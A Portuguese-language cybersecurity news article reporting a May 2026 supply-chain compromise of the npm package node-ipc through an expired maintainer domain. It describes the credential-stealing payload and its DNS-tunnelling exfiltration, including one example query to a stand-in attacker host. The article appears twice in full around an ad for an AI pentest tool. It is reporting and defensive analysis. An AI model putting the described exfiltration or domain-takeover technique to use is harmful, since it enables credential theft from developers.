node-ipc Novamente Comprometido: Ataque de DNS Tunneling de Baixo Custo Ignora SIEMs
Uma nova onda de ataques à cadeia de suprimentos atingiu o popular pacote node-ipc, explorando um domínio expirado e técnicas de exfiltração de dados via DNS tunneling. A tática, que custou apenas nove dólares, contornou as defesas tradicionais de segurança, levantando sérias questões sobre a robustez dos sistemas de monitoramento atuais.
MundiX News·18 de maio de 2026·10 min de leitura·👁 7 views
Em 14 de maio de 2026, o ecossistema Node.js foi novamente abalado por um ataque à cadeia de suprimentos envolvendo o pacote node-ipc. Três novas versões do pacote – 9.1.6, 9.2.3 e 12.0.1 – foram publicadas na registry do npm pelo mantenedor "atiertant", uma conta inativa há anos. Embora o AI-scanner da Socket tenha identificado as versões como maliciosas em minutos, e a equipe do npm as tenha removido em duas horas, o pacote já havia sido distribuído globalmente através de npm install e npm ci.
O node-ipc, uma biblioteca crucial para comunicação interprocessos em Node.js, possui uma vasta base de usuários, com 822 mil downloads semanais e 3,35 milhões mensais. Sua natureza como dependência transitiva em inúmeros pacotes populares significa que muitos projetos, desde pipelines de dApps de criptomoedas até ferramentas de desenvolvimento, foram potencialmente expostos. Desenvolvedores cujos sistemas de CI/CD compilaram código entre 14:25 e 16:30 UTC naquele dia, e cujas package-lock.json permitiam atualizações automáticas nas faixas ^9.x ou ^12.x, podem ter tido suas credenciais (chaves AWS, SSH, variáveis .env, tokens de IA) vazadas sem o seu conhecimento. A sofisticação do ataque reside em sua capacidade de evadir detecção por sistemas de monitoramento convencionais.
A análise da "Cena Segunda" revela que o ataque não envolveu um hack tradicional. Em vez disso, explorou uma falha na gestão de domínios e no processo de recuperação de senha do npm. O domínio atlantis-software.net, anteriormente associado ao mantenedor atiertant, expirou em 10 de janeiro de 2025 e não foi renovado. O atacante registrou o domínio por cerca de nove dólares em 7 de maio de 2026, configurou infraestrutura de e-mail e, em 14 de maio, utilizou a funcionalidade de "esqueci minha senha" do npm para obter acesso de publicação ao pacote node-ipc. Essa cadeia de confiança – npm confiando no e-mail, e-mail confiando no DNS, DNS confiando no registrador, e o registrador confiando em quem pagou os nove dólares – permitiu a tomada de controle.
O payload em si foi embutido diretamente no código node-ipc.cjs, a entrada CommonJS do pacote, afetando a maioria dos projetos que usam require('node-ipc'). A versão ESM (node-ipc.js) permaneceu limpa. O payload é uma função autoexecutável (IIFE) ofuscada, executada via setImmediate() para evitar bloqueios e suspeitas de tempo. Ele se propaga para um processo separado com a variável de ambiente __ntw=1 para evitar reinicializações recursivas e continua em execução mesmo após o término do processo principal. A coleta de dados abrange uma vasta gama de informações sensíveis, incluindo chaves de acesso AWS, arquivos .env, chaves SSH, configurações Kubernetes, tokens de IA e tokens npm. Os dados coletados são compactados, criptografados e exfiltrados.
A escolha da exfiltração via DNS TXT records, em vez de HTTPS ou conexões TCP diretas, foi estratégica. Essa técnica contorna proxies de saída e firewalls que monitoram tráfego web. O payload divide os dados criptografados em pequenos chunks e os envia como subdomínios em requisições DNS TXT para um servidor NS controlado pelo atacante. Por exemplo: xh.dGVzdGRhdGEK.exfil.evil.example.com TXT?. O prefixo (xh., xd., xf.) codifica o tipo de conteúdo, e a parte intermediária é o chunk de dados codificado em Base32. O servidor NS do atacante recebe, armazena e responde com um registro TXT qualquer. Do ponto de vista do sistema, isso se parece com uma atividade DNS normal, que é raramente inspecionada em profundidade por SIEMs. A maioria dos SIEMs não registra ou analisa logs de DNS em nível de subdomínio, e firewalls geralmente permitem tráfego DNS (UDP/53) sem restrições. O uso de DNS over HTTPS (DoH) agrava o problema, pois criptografa ainda mais o tráfego DNS, tornando-o invisível para o monitoramento de rede. O volume de tráfego gerado por essa exfiltração é mínimo, tornando-o difícil de detectar como anomalia.
A história do node-ipc é um estudo de caso preocupante em ataques à cadeia de suprimentos. Em 2022, o próprio mantenedor introduziu um payload destrutivo que sobrescrevia arquivos em hosts na Rússia e Bielorrússia. Agora, em 2026, um ator diferente, motivado financeiramente, explorou o domínio expirado. O pacote, apesar de seu histórico, continua amplamente utilizado. A lição principal é que pacotes com histórico de abuso permanecem alvos valiosos devido à sua popularidade e presença em dependências críticas. A indústria precisa repensar a confiança em pacotes com histórico comprometido e adotar medidas de segurança mais robustas, como autenticação baseada em hardware (FIDO2) e aprovação multi-mantenedor para publicações de pacotes populares.
O vetor de ataque explorado – a aquisição de domínios expirados associados a contas de mantenedores inativas – é escalável e aplicável a outros gerenciadores de pacotes como PyPI, RubyGems e crates.io, todos dependentes de recuperação de senha baseada em e-mail. A solução a longo prazo envolve a migração para chaves de hardware e a implementação de processos de aprovação mais rigorosos. Enquanto isso, para mitigar riscos imediatos, é crucial adotar práticas como o uso obrigatório de lockfiles, verificação de integridade via hashes, pinning de versões de dependências críticas, e a configuração de ferramentas como Renovate/Dependabot com revisão humana. Para detecção de exfiltração de dados via DNS, soluções especializadas como Cloudflare Gateway, Cisco Umbrella ou um resolvedor DNS customizado com análise de anomalias são necessárias.
O cenário se torna ainda mais preocupante quando se considera a automação por IA. Ataques como este, que exigiram semanas de preparação manual, podem ser replicados em minutos por agentes de IA avançados, capazes de identificar contas dormentes, explorar domínios expirados e gerar payloads sofisticados. A perspectiva de ataques automatizados em escala em todos os registros de pacotes públicos sugere um futuro onde a detecção de ameaças se tornará um ruído constante, exigindo novas abordagens de segurança e observabilidade, possivelmente alavancando tecnologias como eBPF (com ferramentas como Tetragon ou Falco) para monitoramento granular de syscalls e tráfego de rede.
🛡️⚡
Pare de pesquisar. Comece a hackear.
O MundiX é seu copiloto de pentest com IA: comandos exatos, análise de outputs e próximo passo na kill chain — em segundos.
Sem cartão para começar · Planos a partir de R$49/mês
Em 14 de maio de 2026, o ecossistema Node.js foi novamente abalado por um ataque à cadeia de suprimentos envolvendo o pacote node-ipc. Três novas versões do pacote – 9.1.6, 9.2.3 e 12.0.1 – foram publicadas na registry do npm pelo mantenedor "atiertant", uma conta inativa há anos. Embora o AI-scanner da Socket tenha identificado as versões como maliciosas em minutos, e a equipe do npm as tenha removido em duas horas, o pacote já havia sido distribuído globalmente através de npm install e npm ci.
O node-ipc, uma biblioteca crucial para comunicação interprocessos em Node.js, possui uma vasta base de usuários, com 822 mil downloads semanais e 3,35 milhões mensais. Sua natureza como dependência transitiva em inúmeros pacotes populares significa que muitos projetos, desde pipelines de dApps de criptomoedas até ferramentas de desenvolvimento, foram potencialmente expostos. Desenvolvedores cujos sistemas de CI/CD compilaram código entre 14:25 e 16:30 UTC naquele dia, e cujas package-lock.json permitiam atualizações automáticas nas faixas ^9.x ou ^12.x, podem ter tido suas credenciais (chaves AWS, SSH, variáveis .env, tokens de IA) vazadas sem o seu conhecimento. A sofisticação do ataque reside em sua capacidade de evadir detecção por sistemas de monitoramento convencionais.
A análise da "Cena Segunda" revela que o ataque não envolveu um hack tradicional. Em vez disso, explorou uma falha na gestão de domínios e no processo de recuperação de senha do npm. O domínio atlantis-software.net, anteriormente associado ao mantenedor atiertant, expirou em 10 de janeiro de 2025 e não foi renovado. O atacante registrou o domínio por cerca de nove dólares em 7 de maio de 2026, configurou infraestrutura de e-mail e, em 14 de maio, utilizou a funcionalidade de "esqueci minha senha" do npm para obter acesso de publicação ao pacote node-ipc. Essa cadeia de confiança – npm confiando no e-mail, e-mail confiando no DNS, DNS confiando no registrador, e o registrador confiando em quem pagou os nove dólares – permitiu a tomada de controle.
O payload em si foi embutido diretamente no código node-ipc.cjs, a entrada CommonJS do pacote, afetando a maioria dos projetos que usam require('node-ipc'). A versão ESM (node-ipc.js) permaneceu limpa. O payload é uma função autoexecutável (IIFE) ofuscada, executada via setImmediate() para evitar bloqueios e suspeitas de tempo. Ele se propaga para um processo separado com a variável de ambiente __ntw=1 para evitar reinicializações recursivas e continua em execução mesmo após o término do processo principal. A coleta de dados abrange uma vasta gama de informações sensíveis, incluindo chaves de acesso AWS, arquivos .env, chaves SSH, configurações Kubernetes, tokens de IA e tokens npm. Os dados coletados são compactados, criptografados e exfiltrados.
A escolha da exfiltração via DNS TXT records, em vez de HTTPS ou conexões TCP diretas, foi estratégica. Essa técnica contorna proxies de saída e firewalls que monitoram tráfego web. O payload divide os dados criptografados em pequenos chunks e os envia como subdomínios em requisições DNS TXT para um servidor NS controlado pelo atacante. Por exemplo: xh.dGVzdGRhdGEK.exfil.evil.example.com TXT?. O prefixo (xh., xd., xf.) codifica o tipo de conteúdo, e a parte intermediária é o chunk de dados codificado em Base32. O servidor NS do atacante recebe, armazena e responde com um registro TXT qualquer. Do ponto de vista do sistema, isso se parece com uma atividade DNS normal, que é raramente inspecionada em profundidade por SIEMs. A maioria dos SIEMs não registra ou analisa logs de DNS em nível de subdomínio, e firewalls geralmente permitem tráfego DNS (UDP/53) sem restrições. O uso de DNS over HTTPS (DoH) agrava o problema, pois criptografa ainda mais o tráfego DNS, tornando-o invisível para o monitoramento de rede. O volume de tráfego gerado por essa exfiltração é mínimo, tornando-o difícil de detectar como anomalia.
A história do node-ipc é um estudo de caso preocupante em ataques à cadeia de suprimentos. Em 2022, o próprio mantenedor introduziu um payload destrutivo que sobrescrevia arquivos em hosts na Rússia e Bielorrússia. Agora, em 2026, um ator diferente, motivado financeiramente, explorou o domínio expirado. O pacote, apesar de seu histórico, continua amplamente utilizado. A lição principal é que pacotes com histórico de abuso permanecem alvos valiosos devido à sua popularidade e presença em dependências críticas. A indústria precisa repensar a confiança em pacotes com histórico comprometido e adotar medidas de segurança mais robustas, como autenticação baseada em hardware (FIDO2) e aprovação multi-mantenedor para publicações de pacotes populares.
O vetor de ataque explorado – a aquisição de domínios expirados associados a contas de mantenedores inativas – é escalável e aplicável a outros gerenciadores de pacotes como PyPI, RubyGems e crates.io, todos dependentes de recuperação de senha baseada em e-mail. A solução a longo prazo envolve a migração para chaves de hardware e a implementação de processos de aprovação mais rigorosos. Enquanto isso, para mitigar riscos imediatos, é crucial adotar práticas como o uso obrigatório de lockfiles, verificação de integridade via hashes, pinning de versões de dependências críticas, e a configuração de ferramentas como Renovate/Dependabot com revisão humana. Para detecção de exfiltração de dados via DNS, soluções especializadas como Cloudflare Gateway, Cisco Umbrella ou um resolvedor DNS customizado com análise de anomalias são necessárias.
O cenário se torna ainda mais preocupante quando se considera a automação por IA. Ataques como este, que exigiram semanas de preparação manual, podem ser replicados em minutos por agentes de IA avançados, capazes de identificar contas dormentes, explorar domínios expirados e gerar payloads sofisticados. A perspectiva de ataques automatizados em escala em todos os registros de pacotes públicos sugere um futuro onde a detecção de ameaças se tornará um ruído constante, exigindo novas abordagens de segurança e observabilidade, possivelmente alavancando tecnologias como eBPF (com ferramentas como Tetragon ou Falco) para monitoramento granular de syscalls e tráfego de rede.
📤 Compartilhar & Baixar
📩 Newsletter MundiX
Receba novidades de cibersegurança + um checklist de pentest grátis. Sem spam.
Ao assinar você concorda em receber e-mails. Cancele quando quiser.
